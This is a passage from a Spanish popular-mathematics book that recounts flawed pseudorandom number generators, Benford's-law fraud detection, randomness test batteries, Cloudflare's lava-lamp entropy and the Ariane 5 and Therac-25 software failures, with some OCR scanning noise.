queda en el disco duro y el tiempo que pasa cuando el usuario teclea las
diversas teclas o mueve el raton. Utilizar un generador de secuencias
pseudoaleatorias con una semilla facil de adivinar es como comprar una
cerradura cara y luego utilizarla como tope de la puerta. O comprar una
cerradura cara y dejar visibles los tornillos, con lo que es facil desenroscarlos.

Los nimeros aleatorios fallan sobre todo en los planos

Los algoritmos que generan numeros pseudoaleatorios estan constantemente
evolucionando y adaptandose. Necesitan equilibrar su aparente aleatoriedad
siendo eficientes, faciles de utilizar y seguros. Dado que los nimeros
aleatorios son fundamentales para la seguridad digital, algunos de esos
algoritmos se guardan bajo llave. Microsoft nunca ha dicho como genera
Excel sus numeros pseudoaleatorios (ni los usuarios estan autorizados a elegir
sus propias semillas). Por suerte, una cantidad suficiente de esos algoritmos
son de dominio publico, por lo que podemos analizarlos.

Uno de los primeros métodos estandarizados para generar numeros
pseudoaleatorios era multiplicar cada nimero de nuestra secuencia por un
multiplicador largo K, luego dividir la respuesta por un numero diferente M y
mantener el resto como el siguiente término pseudoaleatorio. Este era el
método utilizado por casi todos los primeros ordenadores, hasta que George
Marsaglia, un matematico de Boeing Scientific Research Laboratories,
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localizé, en 1968, un error fatal. Si cogemos la secuencia de numeros
aleatorios que resulta y hacemos un grafico utilizando los niimeros como
coordenadas, se alinean. Hay que reconocer que esto requiere crear graficos
complicados que superaban las diez dimensiones.

La investigacion de Marsaglia estaba analizando estos generadores
creados con una multiplicacion y una posterior division, pero por una eleccién
poco rigurosa de los valores de K y M, la situaciéon ain podia empeorar
mucho. E IBM dio en el clavo cuando eligio erroneamente K y M. La funcion
RANDU utilizada por las maquinas IBM obtenia cada nuevo ntmero
pseudoaleatorio multiplicando por K = 65.539 y luego dividiendo por M =
2.147.483.648, que son bastante malos. El valor K es solo tres mas que una
potencia de dos (concretamente, 65.539 = 216 + 3) y, combinado con un
modulo que también era una potencia de dos (2.147.483.648 = 231), todos los
supuestos datos aleatorios acababan estando inquietantemente bien
organizados.

Aunque el trabajo de Marsaglia tuvo que utilizar las convergencias en
espacios matematicos abstractos, el numero aleatorio de IBM se podia
representar en un grafico como puntos tridimensionales que encajan en solo
quince planos. Eso es tan aleatorio como un cuchador (tenedor-cuchara).

Obtener numeros pseudoaleatorios de calidad sigue siendo un problema.
En 2016 el navegador Chrome tuvo que arreglar su generador de numeros
pseudoaleatorios. L.os navegadores modernos son bastante buenos creando
semillas para sus nimeros pseudoaleatorios, pero, aunque parezca increible,
los propios generadores también pueden causar problemas. Chrome estaba
utilizando un algoritmo llamado MWC1616, que estaba basado en una
combinacion de multiplicacion con llevada (las siglas MWC corresponden al
nombre en inglés) y con concatenacion para generar numeros
pseudoaleatorios. Pero, por error, se repetia a si mismo, una y otra vez.
Menudo aburrimiento.

Algunos programadores difundieron una extensién de Chrome que la
gente se podia descargar y utilizar. Para saber cuantas personas se la habian
instalado, después de la instalacion se generaba un numero aleatorio como ID
arbitrario de un usuario y lo mandaba de vuelta a la base de datos de la
compafiia. Tenian un grafico en el despacho que mostraba un incremento
notable de las instalaciones de su extension hasta que, un dia, el numero de
nuevas instalaciones cayo a cero. jHabia decidido todo el mundo dejar de
utilizar su extension de repente? ;O habia algun error fatal en su codigo que
habia provocado que dejara de funcionar?
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Este no es el aspecto que esperas que tengan los datos aleatorios.

No. Su extension estaba funcionando bien y la gente se la seguia
instalando. Pero utilizaba el lenguaje de programacion JavaScript y llamoé a la
funciéon integrada Math.random() para obtener un nuevo numero ID de
usuario para cada nueva instalacién. Esto funcionaba bien para los primeros
millones de casos, pero, a partir de ahi en adelante, solo devolvia numeros
que ya se habian utilizado. Esto significo que todos los nuevos usuarios
parecian duplicados de aquellos que ya existian en la base de datos.

Estos numeros ID de usuario eran valores de 256 bits con posibilidades
que se median en cuatrivigintilliones (alrededor de 1077). No hay forma de
que se repita tan rapidamente. Algo estaba fallando, y el algoritmo MWC1616
era el culpable. Los nimeros pseudoaleatorios habian creado un bucle. No era
el tnico caso en el que los usuarios de Chrome habian tenido problemas
aleatorios y, por suerte, los desarrolladores responsables del motor de
JavaScript arreglaron el problema. En el Chrome de 2016 utilizaron un
algoritmo llamado xorshift128+ que proporciona niimeros aleatorios mediante
una cantidad disparatada de numeros crecientes elevados a la potencia de
otros numeros.

Asi que, de momento, el mundo de los numeros pseudoaleatorios esta
tranquilo y los navegadores estan proporcionandolos sin problemas. Pero eso
no significa que este sea el final de la historia. Un dia, xorshift128+ sera
suplantado. Cualquier cosa que tenga que ver con la capacidad informatica
esta inmersa en una carrera armamentistica constante, al mismo tiempo que
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los ordenadores cada vez mas potentes pueden crear nimeros mayores. Solo
es cuestion de tiempo antes de que nuestros algoritmos generadores de
numeros pseudoaleatorios ya no sirvan para lo que fueron creados. Por suerte,
por entones, una nueva generacion de cientificos informaticos nos habra dado
algo mejor. Necesitamos mas aleatoriedad en nuestras vidas.

Aleatoriamente equivocado

Cuando era profesor de matematicas de secundaria, uno de los deberes que
mas me gustaba proponer a los estudiantes era que se pasasen una tarde
tirando una moneda al aire cien veces y que anotaran los resultados.
Regresaban a clase con una larga lista de caras y cruces. Yo cogia luego esas
listas y, al final de la leccion, las separaba en dos montones: aquellos que
habian realizado la tarea tal como se lo pedi y habian tirado una moneda
fisica, y aquellos que no se molestaron y se limitaron a escribir una lista de
caras y cruces inventadas.

La mayoria de los estudiantes tramposos recordaban que les tenian que
salir aproximadamente el mismo nimero de caras que de cruces, que es lo que
se esperaria que pasase con una moneda real y aleatoria, pero se olvidaron de
las rachas mas largas. En una moneda equilibrada, la cara y la cruz tienen
ambas las mismas probabilidades de salir y, por lo tanto, los lanzamientos son
independientes, por lo que esos datos deberian ser uniformes. Esto quiere
decir que no solo todos los sucesos posibles ocurren con la frecuencia
habitual, sino también las combinaciones de sucesos. Ocho lanzamientos de
una moneda seguidos produciran una secuencia CXCCXCCC con la misma
frecuencia que CXCXCXCC.

En el caso de mis estudiantes, se olvidaron de que CCCCCC es tan
probable como cualquier otra serie de seis lanzamientos. Y lanzando cien
veces una moneda esperas que al menos exista una serie de seis resultados
iguales, si no mas de diez, seguidas. Escribir algo como XXXXXXXXXX
cuando estas falsificando los datos te hace sentir que lo estas haciendo mal,
pero es justo lo que esperariamos que sucediera. Del mismo modo que lo que
esperariamos de unos adolescentes es que hagan trampas con sus deberes.

Los adultos no son muy diferentes. Como dice el refran: solo hay tres
cosas seguras en la vida: la muerte, los impuestos y las personas que intentan
engafar a la hora de pagar sus impuestos. Falsear la declaracion de impuestos
puede requerir tener que idear algunos numeros aleatorios que parezcan
auténticas transacciones financieras. Y en lugar de un profesor que
comprueba los deberes que han hecho sus alumnos, hay «auditores forenses»
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que analizan las declaraciones de impuestos para encontrar signos reveladores
de la existencia de datos falsos.

Si el fraude financiero no se hace con la suficiente aleatoriedad, es facil de
detectar. Existe una comprobacion financiera de los datos estandar que
implica mirar los primeros digitos de todas las transacciones disponibles y ver
si algunos son mas o menos frecuentes de lo esperado. Las desviaciones de la
frecuencia esperada no significan necesariamente que se esté produciendo
algo perverso, pero cuando hay demasiadas transacciones que se han de
comprobar de forma manual, las que son inusuales son un buen punto de
partida. Los investigadores de un banco de Estados Unidos analizaron los dos
primeros digitos de los balances de todas las tarjetas de crédito en los que el
banco habia declarado la deuda como irrecuperable y existia un pico muy
notable en el 49. Se rastre6 y se vio que estaba asociado a un unico empleado,
que estaba dando tarjetas de crédito a amigos y familiares que luego
acumulaban una deuda de entre 4.900 y 4.999 dolares. El maximo que podia
cancelar un empleado sin autorizacion era 5.000 dolares.

Ni los propios auditores estan exentos. Una gran compariia auditora hizo
una comprobacion de los primeros dos digitos de todos los tiquetes de gastos
presentados por sus empleados. En esta ocasion habia muchos mas importes
que empezaban por 48 de los que deberia haber. De nuevo el responsable era
un unico empleado. Los auditores que trabajaban para la empresa podian
presentar tiquetes de gastos cuando trabajaban fuera del despacho, pero una
persona estaba reclamando también, y de forma sistematica, su desayuno de
camino a la oficina. Y siempre compraba el mismo café y el mismo muffin
con un coste de 4,82 dolares.

En estos casos, si la persona hubiera sido mas aleatoria y menos
codiciosa, podria haberse camuflado entre el resto de datos y no habria
llamado la atencion con sus transacciones. Pero tenia que tratarse de la clase
correcta de aleatoriedad. No todos los datos aleatorios se ajustan a una
distribucion uniforme como la que esperariamos de lanzar una moneda al aire.
Un dado con cinco ntimeros iguales y una sola cara diferente sigue siendo
aleatorio, pero los resultados no son uniformes. Si escogemos dias al azar no
obtendremos numeros iguales de dias laborables y dias de la semana. Y si
gritamos «jHey, Tom! Ha pasado mucho tiempo. ;COmo estas?» a extrafios
en medio de la calle, no obtendremos respuestas uniformes (pero cuando,
casualmente, nos dirijamos a un Tom, habra valido la pena).

Y esta claro que los datos financieros no son uniformes. Hay un montén
de datos financieros que se ajustan a la ley de Benford, que dice que en

Pagina 240



algunos tipos de datos del mundo real los primeros digitos no son igual de
probables. Si los primeros digitos fueran uniformes, cada uno de ellos
apareceria el 11,1%. Pero, en realidad, la probabilidad de empezar por,
digamos, un 1, depende del rango de nimeros que se utilizan. Imagine que
esta midiendo en centimetros cosas que llegan hasta los 2 metros: el 55,5% de
todos los nimeros del uno al doscientos empiezan con un 1. Imagine escoger
una fecha al azar: el 36,1% de todas las fechas tienen un dia del mes que
empieza por 1. Hacer promedios con distribuciones de tamafios diferentes
significa que, en un conjunto de datos apropiados y lo suficientemente
grandes, alrededor del 30% de los nimeros empezara por 1, y asi hasta llegar
al 9 que aparecera tan solo un 4,6% de las veces.

Los datos del mundo real tienden a ser increiblemente parecidos a los de
esta distribucion, excepto cuando los numeros son inventados. En un ejemplo
documentado, el propietario de un restaurante estaba calculando las ventas
diarias totales, evidentemente para reducir lo mas posible los impuestos que
tendria que pagar. Pero cuando se cre6 un grafico con los primeros digitos,
eran completamente diferentes a lo que predice la ley de Benford. E incluso si
los primeros digitos de los numeros se ajustaran a dicha ley, a menudo los
ultimos digitos de los numeros son aleatorios de verdad y deberian seguir una
distribucion uniforme. Todas las combinaciones de dos digitos deberian
aparecer el 1% de las veces, pero el 6,6% de las veces los totales diarios del
restaurante acababan en 40. No era una peculiaridad de sus precios: al
parecer, al propietario le gustaba el nimero 40. Como siempre, los humanos
son malisimos a la hora de ser aleatorios. Y resulta que los restaurantes no son
muy buenos a la hora de «cocinar» las cuentas.
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La ley de Benford también se aplica cuando se analizan los dos primeros
digitos de los numeros, y esta es una de las cosas en las que se fijan los
auditores forenses. Es dificil obtener ejemplos del mundo real en los que se
pueda detectar el fraude de impuestos, y todos los auditores forenses que he
conocido han rechazado ser nombrados o hablar de manera oficial. Mark
Nigrini es profesor adjunto en la escuela de negocios de la Universidad de
Virginia Occidental y analiz6 un conjunto de 157.518 declaraciones de los
contribuyentes desde 1978 que la Agencia Tributaria habia dado a conocer
manteniendo el anonimato de las personas. Se fijo en los dos primeros digitos
de tres valores diferentes que la gente podia incluir en su declaracién de
Impuestos:

Primeros digitos a la izquierda; dos digitos finales a la derecha.
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Los ingresos por intereses son las cantidades que ingresan los ciudadanos
en un afio y proceden de sus cuentas bancarias; estan, tal como sefialé Nigrini,
sujetas a «revision por terceros». En otras palabras, la Agencia Tributaria
puede comprobar si las personas estan diciendo la verdad. Este grafico
muestra una correlacion casi perfecta con la distribucién de la ley de Benford:
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Para la Agencia Tributaria, no es tan facil comprobar la cantidad de dinero
ganada gracias a los dividendos, pero sigue estando sujeta a alguna revision
«menos rigurosa» por una tercera parte, y la distribucién en su conjunto se
desvia solo ligeramente de la distribucion Benford. Por lo que puede que haya
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cierto amafio. Hay picos grandes en 00 y 50 (y otros mas pequefios en otros
multiplos de 10), lo que implica que algunas personas estan haciendo una
estimacion de sus ingresos por dividendos en lugar de declararlos con
exactitud.

En 1978 se confi6 en que la gente afiadiera todos los intereses pagados en
las hipotecas, tarjetas de crédito, etc., y que informaran de ello sin ninguna o
muy poca comprobacion adicional. Hay picos mas pequefios en 00 y 50, que
demuestran que la gente es mas reticente a dar la impresion de que han
calculado estos valores. El grafico de la pagina siguiente también muestra la
divergencia mas grande de la distribucion Benford esperada.

Eso no significa necesariamente que se haya producido un fraude;
simplemente implica que algo ha influido en los datos. En este caso, una gran
parte de la desviacion parece estar debida a que las personas cuyos pagos de
intereses son cantidades pequefias no se molestan en declararlos.

'l

No puedo asegurar qué analisis de distribucion utilizan las agencias
tributarias modernas, pero estoy casi seguro de que hacen cosas como las que
he explicado y luego examinan con mas minuciosidad cualquier cosa que se
desvie de lo esperado. Por lo que, si va a defraudar en lo que respecta a su
declaracion de impuestos, necesita asegurarse de que puede generar los
numeros aleatorios correctos. Solo espero que la Agencia Tributaria del Reino
Unido (Her Majesty’s Revenue and Customs) no busque declaraciones de
impuestos que encajen exactamente con la ley de Benford (o que estén
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sospechosamente cerca) para localizar asi a matematicos que estén falseando
meticulosamente sus ndmeros...

¢De verdad es totalmente aleatorio?

Asi pues, resulta que la auténtica aleatoriedad es mas predecible de lo que
espera la gente. E incluso si los inspectores de hacienda saben como localizar
datos aleatorios falsos, ;pueden los numeros pseudoaleatorios ser
indistinguibles de los reales? Por suerte, si se hace cuidadosamente, una
secuencia pseudoaleatoria puede tener casi todas las propiedades que se
supone que han de tener los nimeros aleatorios.

Olvidese de las distribuciones graciosas. Como fuente de aleatoriedad, los
numeros pseudoaleatorios deberian ser completamente uniformes e
independientes. Es el insulso bloque constituyente de la aleatoriedad, y los
usuarios pueden condimentar esos numeros aleatorios en cualquier
distribucion a medida que necesiten.

Existen tan solo dos reglas de oro para los numeros aleatorios:

e Todos los resultados son igual de probables.
¢ Ningun suceso influye en el siguiente.
e Patata.

Cuando estaba comprobando los deberes de mis alumnos sobre aleatoriedad
en busca de tramposos utilicé tan solo dos pruebas: un test de frecuencia para
asegurarme de que las caras y las cruces aparecieron mas o menos el mismo
numero de veces y otro test sobre las series para comprobar la aparicion de
combinaciones mas largas de resultados. Pero esto es tan solo el punto de
partida. Hay multitud de formas de comprobar si los datos se ajustan a mis
dos reglas de oro. Y no existe una bateria de test definitiva que habria que
utilizar; con los afios, las personas han ideado toda clase de formas
interesantes de comprobar como son los datos aleatorios, y ningun test
funciona por si solo.

Mi favorito es un conjunto de pruebas conocido como «bateria Diehard».
Por desgracia, esto no implica tirar los nimeros desde el Nakatomi Plaza o
hacerlos reptar por un conducto de ventilacion. Pero, segiin mi experiencia,
ayuda si durante el proceso gritas «jYippee ki-yay funcion numérica!». La
bateria Diehard es, en realidad, una coleccion de doce pruebas
independientes.

Algunas de las pruebas son bastante aburridas, como comprobar las series
crecientes y decrecientes de digitos. Por lo tanto, para el numero aleatorio de
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base 10, 0,5772156649, hay una sucesion creciente 5-7-7 y luego otra
decreciente 7-7-2-1. Estas series en direcciones diferentes deberian tener un
rango esperado de longitudes. También esta la prueba de la corriente de datos,
que convierte los numeros en binarios y se fija en los grupos superpuestos de
veinte digitos, comprobando cuales de los 1.048.576 posibles numeros
binarios de veinte digitos estan en cada bloque de 2.097.171 digitos. En unos
datos binarios verdaderamente aleatorios deberian faltar unos 141.909 de
ellos (con una desviacién estandar de 428).

Y luego hay algunas pruebas que son divertidas. Utilizan los datos en una
situacion extrafia para ver si funcionan como se esperaba. La prueba del
aparcamiento utiliza la secuencia supuestamente aleatoria para colocar coches
redondos en un aparcamiento de cien por cien metros cuadrados. Después de
intentar aparcar 12.000 coches al azar, deberian haberse producido 3.523
choques (con una desviacion estandar de 21,9). Otra prueba coloca esferas de
diferentes tamafios dentro de un cubo, y la prueba consiste simplemente en
hacer que los datos jueguen doscientos mil juegos de dados y comprueben si
los juegos ganadores siguen las distribuciones esperadas.

El exotismo y la rareza de estas pruebas forman parte de su atractivo. Los
datos aleatorios deberian ser igual de aleatorios en todas las situaciones. Si las
pruebas de aleatoriedad fueran predecibles, entonces los algoritmos de
secuencias pseudoaleatorias se desarrollarian hasta ajustarse a esas pruebas.
Pero si se ha de comprobar una secuencia para ver qué puntuacion media
obtiene después de doscientas mil rondas jugando al juego Shaq Fu de la
consola Sega Mega-drive, entonces mas vale que sea realmente aleatoria.

Existe una definicion sobre aleatoriedad que sirve para todo pero que,
aunque es demasiado esotérica para ser util, me encanta por su simpleza. Una
secuencia aleatoria es cualquier secuencia que es igual o mas corta que
cualquier descripcion de ella. La longitud de la descripcion de una secuencia
aleatoria recibe el nombre de complejidad Kolmogorov, en honor al
matematico ruso Andréi Kolmogorov, quien la plante6 en 1963. Si puedes
escribir un programa informatico corto para generar una secuencia de
ndimeros, entonces esa secuencia no puede ser aleatoria. Si la inica forma de
expresar una secuencia es imprimirla en su totalidad, entonces tenemos algo
de aleatoriedad entre las manos. Y muchas veces, imprimir numeros
aleatorios es la mejor opcion.

Pasemos a lo fisico
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Antes de la era de la informatica, las listas de ntimeros aleatorios se tenian
que generar por adelantado e imprimir en libros que la gente compraba. Digo
«antes de la era de la informatica», pero cuando estaba en el colegio, durante
la década de 1990, todavia utilizabamos libros con tablas de ntmeros
aleatorios. Las calculadoras portatiles y, de hecho, los ordenadores portatiles,
han llegado muy lejos. Pero, si hablamos de auténtica aleatoriedad, la pagina
impresa es dificil de batir.

Todavia se pueden comprar libros en internet de nimeros aleatorios. Si no
lo ha hecho antes, deberia leer las resenas en linea de los libros de ntimeros
aleatorios. Podemos intuir que la gente no tiene mucho que decir sobre las
listas de digitos aleatorios, pero este vacio posibilita que aparezca la
creatividad de la gente:

% % ¥ % % por Mark Pack

No saltes a la (ltima pagina y arruines el libro descubriendo el final. Asegirate de leerlo desde la pagina 1 y Ia tension ira creciendo
% % por R. Rosini

Aunque |a version impresa esta bien, me hubiera gustado que el editor también sacara la version en audiolibro.
% Y ¥ por Roy

Site gusta este libro, te recomiendo que lo leas en binario original. Al igual que ocurre con muchas traducciones, la conversion de binario a decimal suele acarrear una pérdida de informacién y, desafortunadamente, los digitos que
se pierden en la conversion son los mas importantes.

¢ % % % % por vangelion

Una historia de amor mejor gue «CrepUsculo.

(Qué pasa si no tiene tiempo para comprar un libro y necesita
imperiosamente un numero aleatorio? Bien, va a necesitar un objeto aleatorio.
No hay ninguna accion fisica que sea superior a lanzar una moneda o tirar un
dado para obtener auténticos numeros aleatorios, incluso en nuestra era
moderna y de tecnologia punta. Esa es la razéon por la que siempre llevo
conmigo algunos dados, incluyendo un dado de sesenta lados por si necesito
generar una semilla aleatoria para una direccion de bitcoin (que utiliza
numeros de base 58).

En el despacho de Cloudflare en San Francisco, se utilizan lamparas de
lava como generadores fisicos de aleatoriedad. Volvemos a la seguridad de
internet y a los SSL, pero en una escala mucho mas grande que Netscape:
Cloudflare maneja mas de 250 trillones de peticiones de encriptacion por dia.
Alrededor del 10% de todo el trafico de internet depende de Cloudflare. Esto
significa que necesitan un mont6én de numeros aleatorios con calidad
criptografica.

Para satisfacer esta demanda, tienen una camara que enfoca cien lamparas
de lava que hay en su vestibulo. Toma una foto cada milisegundo y convierte
el ruido aleatorio de la imagen en una corriente de unos y ceros aleatorios.
Las coloridas burbujas en movimiento de las lamparas de lava también
contribuyen al ruido, pero son realmente las infimas fluctuaciones en los
valores de los pixeles las que constituyen el corazéon de la aleatoriedad. En su
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despacho de Londres se puede ver un péndulo caotico balanceandose y en
Singapur utilizan una fuente radiactiva mucho menos interesante visualmente.

Aunque no hay nada que pueda vencer a la eficacia de una moneda. Un
amigo mio ingeniero estaba trabajando en una torre delgada que iba a romper
el récord de altura y descubrié que los ingenieros no son lo suficientemente
aleatorios. Uno de los aspectos a tener en cuenta con las torres increiblemente
delgadas es que el viento puede hacerla vibrar como una cuerda de guitarra y,
si el viento se corresponde con la frecuencia en la que resuena la torre, podria
hacerla trizas.

POPPPTT |
aaalind3494aa 514 3¢4)

A diferencia de la mayoria de las chorradas que llenan los vestibulos de las empresas de tecnologia,
estas Idmparas de lava sirven para algo.

Para impedirlo, disefiaron parches amortiguadores de viento que se
adosarian a la parte exterior de la torre para interceptar el flujo de aire. Pero
era muy importante que los colocasen aleatoriamente. Si eran demasiado
uniformes no romperian la corriente de aire lo suficiente. ;Cémo se
asegurarian los ingenieros de que se colocaran de forma aleatoria? Para elegir
qué secciones tendrian paneles y cuales no, una persona del despacho lanzaria
una moneda.

Pagina 249



Trece

NO COMPUTA

En 1996, un grupo de cientificos e ingenieros estaba a punto de lanzar un
grupo de cuatro satélites con los que investigar la magnetosfera de la Tierra.
Se pasaron una década planeando, disefiando, probando y finalmente
construyendo. Fue lento porque, una vez que una nave espacial se halla en el
espacio, es muy dificil realizar cualquier reparacién. No quieres cometer
ningun error. Todo se ha de comprobar por triplicado.

En la conocida ahora como mision Cluster, los satélites finalizados se
cargaron a bordo del cohete de la Agencia Espacial Europea (ESA por sus
siglas en inglés) Ariane 5 en junio de 1996, preparados para ser lanzados y
puestos en orbita desde el Centro Espacial Guayanés en Sudameérica.

Nunca sabremos si esos satélites habrian funcionado como se esperaba, ya
que a los cuarenta segundos del despegue el Ariane activo su sistema de
autodestruccion y exploto en el cielo. Partes del cohete y de la carga de la
nave espacial cayeron en una zona de 12 kilometros cuadrados de manglares
y sabana de la Guayana Francesa.

Uno de los investigadores principales de la mision Cluster todavia trabaja
en el Laboratorio de Ciencia Espacial Mullard (dentro de la University
College de Londres, UCL por sus siglas en inglés), donde trabaja actualmente
mi esposa. Después del desastre se recuperaron partes de la nave y se
enviaron de vuelta a la UCL, donde los investigadores abrieron el paquete
enviado para ver afos de trabajo convertidos en amasijos de metal con trozos
del manglar todavia pegado a ellos.

Pagina 250



Metal retorcido y dispositivos electrénicos que representan una década de duro trabajo.

Actualmente estdn expuestos en la sala comin de los empleados como
recordatorio para la siguiente generacion de cientificos espaciales de que sus
carreras se basan en ideas que pueden desaparecer nada mas lanzarse al
espacio.

Por suerte, la Agencia Espacial Europea decidio rehacer la mision Cluster
e intentarlo de nuevo. Los satélites del Cluster II fueron puestos exitosamente
en Orbita el afio 2000 gracias a un cohete ruso. Disefiados originalmente para
durar dos afios en el espacio, llevan ya casi dos décadas funcionando con
éxito.

Asi pues, ¢qué fue lo que fall6 en el cohete Ariane 5? En pocas palabras,
el ordenador de a bordo intent6 copiar un nimero de 64 bits en un espacio de
16 bits. Los informes en linea culpan muy rapidamente a las matematicas,
pero el cédigo informatico debié de haberse escrito de tal forma que provoco
lo que ocurrio. La programacién no es mas que pensamiento y procesos
matematicos formalizados. Queria saber cual fue ese ntimero, porque se tenia
que copiar en una localizacion de la memoria que era demasiado pequefia y
porque eso hizo caer todo un cohete..., asi que me descargué y lei el informe
de la investigacion emitido por la junta de investigacion de la ESA.

El programador original (o equipo de programadores) de este codigo hizo
un trabajo brillante. Crearon un Sistema de Referencia Inercial (SRI por sus
siglas en inglés) para que el cohete siempre supiese exactamente donde estaba
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y qué estaba haciendo. Un SRI es, basicamente, un intérprete entre los
sensores que hacen un seguimiento del cohete y el ordenador que lo maneja.
El SRI se puede vincular a varios sensores colocados en diversas partes del
cohete, tomar los datos sin procesar procedentes de esos giroscopios y
acelerometros y convertirlos en informacion importante. E1 SRI también
estaba vinculado al ordenador principal de a bordo y le transmitia todos los
detalles de la trayectoria que seguia el cohete y lo rapido que iba.

Durante este trabajo de «traduccion», el SRI convertiria todas las clases
de datos entre formatos diferentes, que es el habitat natural de los errores
matematicos informatizados. Los programadores identificaron siete casos en
los que un valor de coma flotante provenia de un sensor y se convertia en un
entero. Esta es exactamente la clase de situacion en la que un namero largo
puede transmitirse accidentalmente en un espacio demasiado pequefio, lo que
hace que el programa se detenga por completo por un error de operando.

Para evitar esto, se afiadio un bit de codigo extra que lee los valores
entrantes y pregunta: «;va a causar esto un error de operando si intentamos
convertirlo?». El uso generalizado de este proceso podria salvaguardar en
buena medida contra errores de conversion. Pero hacer que el programa pase
una comprobacion extra cada vez que se ha de hacer una conversion supone
un uso intensivo del procesador, y al equipo le habian puesto limites estrictos
sobre cuanta potencia del procesador podia utilizar su codigo.

No importa, pensaron: daremos un paso atras y miraremos los sensores
que estan enviando al SRI los datos y veremos qué rango de valores pueden
producir. Para tres de los siete inconvenientes se descubrio que la entrada no
podia ser nunca lo suficientemente grande como para causar un error de
operando, por lo que no se afiadié ninguna proteccion. Puede que las otras
cuatro variables si que fueran demasiado grandes, por lo que siempre pasaban
por la comprobacion de seguridad.

Todo eso funciond de maravilla... para el cohete Ariane 4, el precursor
del Ariane 5. Después de afios prestando un leal servicio, se extrajo el SRI del
Ariane 4 y se utilizo en el Ariane 5 sin realizar una comprobacion apropiada
del cédigo. El Ariane 5 fue disefiado con una trayectoria de despegue
diferente a la del Ariane 4, lo que implicaba que las velocidades horizontales
eran superiores al inicio del lanzamiento. La trayectoria del Ariane 4
implicaba que esta velocidad horizontal nunca seria lo suficientemente grande
como para causar ningin problema, por lo que no fue revisado. Pero en el
Ariane 5 se excedia rapidamente el espacio disponible para el valor dentro del
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SRI y el sistema produjo un error de operando. Pero eso no era suficiente por
si solo para hacer caer el cohete.

El SRI se habia programado para realizar algunas labores en el caso de
que todo saliera mal en el vuelo de un cohete y las cosas fueran a terminar
claramente en desastre. Y mucho mas importante, volcaba todos los datos
sobre lo que estaba haciendo en un lugar diferente. Esto seria fundamental en
cualquier investigacion posterior a un desastre, por lo que valia la pena
asegurarse de que estaban a salvo. Es como alguien que utiliza su udltimo
aliento para gritar: «jDecidle a mi mujer que la quiero!», solo que seria un
procesador gritando: «jContadle a mi depurador los siguientes datos
relacionados con el fallo!».

En el sistema del Ariane 4, los datos se mandarian del SRI a algin
almacén externo. Desafortunadamente, en la configuracién nueva del Ariane
5, este «informe del accidente» se envio a través de la conexion principal
desde el SRI al ordenador de a bordo. El nuevo ordenador de a bordo del
Ariane 5 nunca habia sido advertido de que podria recibir un informe de
diagnostico si el SRI se encontraba con esa situacion, por lo que supuso que
se trataba de mas informacion del vuelo e intenté leer los datos como si
fueran angulos y velocidades. Es una situacion bastante parecida a la del Pac-
Man cuando sufria un error de desbordamiento e intentaba interpretar los
datos del juego como si fueran datos de las frutas. Excepto que ahora hay
explosivos implicados.

Habiendo asumido que el informe del error fue la informacién de
navegacion, la mejor interpretacion a la que podia llegar el ordenador de a
bordo era que el cohete vird repentina y bruscamente hacia un lado. Por lo
que hizo lo que seria lo mas lo6gico en una situacién como esa, y ejecuto el
equivalente de un cohete de girar bruscamente en la direccion opuesta. El
vinculo entre el ordenador de a bordo y los pistones que dirigian los
propulsores funcionaba bien, por lo que se sigui6 esta orden, haciendo,
ironicamente, que el cohete se desviara abruptamente hacia un lado.

Eso fue suficiente para condenar al cohete Ariane 5. Habria caido mas
pronto que tarde. Pero, al final, la maniobra a alta velocidad separd
parcialmente los cohetes propulsores del cuerpo principal del cohete, lo que
se considera, por lo general, algo bastante malo. Y el ordenador de a bordo
decidio correctamente dejarlo por hoy y poner en marcha el sistema de
autodestruccion, con lo que llovieron fragmentos de los cuatro satélites
Cluster por todo el manglar de alla abajo.
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El dltimo agujero del queso es que el sensor de la velocidad horizontal ni
siquiera fue necesario durante el lanzamiento. Se utilizd para calibrar la
posicion del cohete antes del lanzamiento y no se recurrio a él durante el
despegue. Excepto cuando los lanzamientos del Ariane 4 fueron abortados
antes del despegue, era una auténtica pesadez resetear todo, una vez que los
sensores se habian apagado. Por lo que se decidi6 esperar unos cincuenta
segundos en el vuelo antes de apagarlos para asegurarse de que habia
despegado definitivamente. Esto ya no era necesario para el Ariane 5, pero
seguia estando ahi, como codigo vestigial.

Por lo general, reutilizar co6digo sin volverlo a comprobar puede provocar
toda clase de problemas. ;Recuerdan la maquina Therac-25 para la terapia de
radiacion, que tenia un problema de desbordamiento y que accidentalmente
suministro una sobredosis a algunas personas? Durante el transcurso de la
investigacion posterior, se descubrio que su predecesor, el Therac-20,
contenia los mismos elementos en su software, pero que tenia unos bloqueos
de seguridad fisicos para evitar las sobredosis, por lo que nadie se percat6 del
error de programacion. El Therac-25 reutilizdé codigo, pero no realizd esas
comprobaciones fisicas, por lo que el error de desbordamiento pudo aparecer
y causar un desastre.

Si se puede extraer alguna enseflanza moral de esta historia seria que,
cuando escribes un codigo, has de recordar que es posible que alguien tenga
que analizarlo y comprobarlo en el futuro cuando se plantee readaptarlo.
Incluso podria ser usted, mucho después de haber olvidado cual era la l6gica
original subyacente al cédigo. Por esta razon, los programadores pueden dejar
«comentarios» en sus codigos, que son pequefios mensajes dejados para
cualquiera que tenga que leer su codigo. El mantra del programador deberia
ser «deja siempre comentarios en tu codigo». Y que estos sean de ayuda. He
revisado codigos densos que habia escrito hacia afios, y solo he encontrado un
comentario: «Buena suerte, futuro Matt».

Invasores del espacio

Programar es una gran combinacion de complejidad y certeza absoluta.
Cualquier linea de cddigo no puede ser ambigua: un ordenador hara
exactamente lo que diga el codigo. Pero saber con certeza cual es el resultado
final de un montén de cédigo que interactia es bastante dificil, y esto puede
hacer que depurar codigo sea una experiencia emocional.

En la base estarian los que defino como errores de programacion del
«nivel cero». Es donde la propia linea de codigo es un error. Algo que
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aparentemente no tiene consecuencia alguna como es olvidarse de un punto y
coma puede hacer que todo el programa se detenga. Los lenguajes utilizan
cosas como puntos y comas, paréntesis y saltos de linea para indicar los
inicios y finales de sentencias y para enloquecerte si te has dejado alguno.
Muchos programadores se pasan horas gritando a sus pantallas porque su
codigo no funciona, solo para descubrir mas tarde que lo que le faltaba era un
detalle invisible.

Estos errores son el equivalente de las erratas en programacion. En 2006,
un grupo de bidlogos moleculares tuvo que retractarse de cinco articulos de
investigacién, incluyendo alguno publicado en Science y uno en Nature,
debido a un error en su codigo. Habian escrito su propio programa para
analizar los datos sobre la estructura de moléculas biologicas. Sin embargo,
estaba cambiando accidentalmente algunos valores positivos en negativos, y
viceversa, lo que significaba que parte de la estructura que publicaron era la
imagen especular de la disposicion correcta:

Este programa, que no formaba parte de un paquete de procesamiento de datos
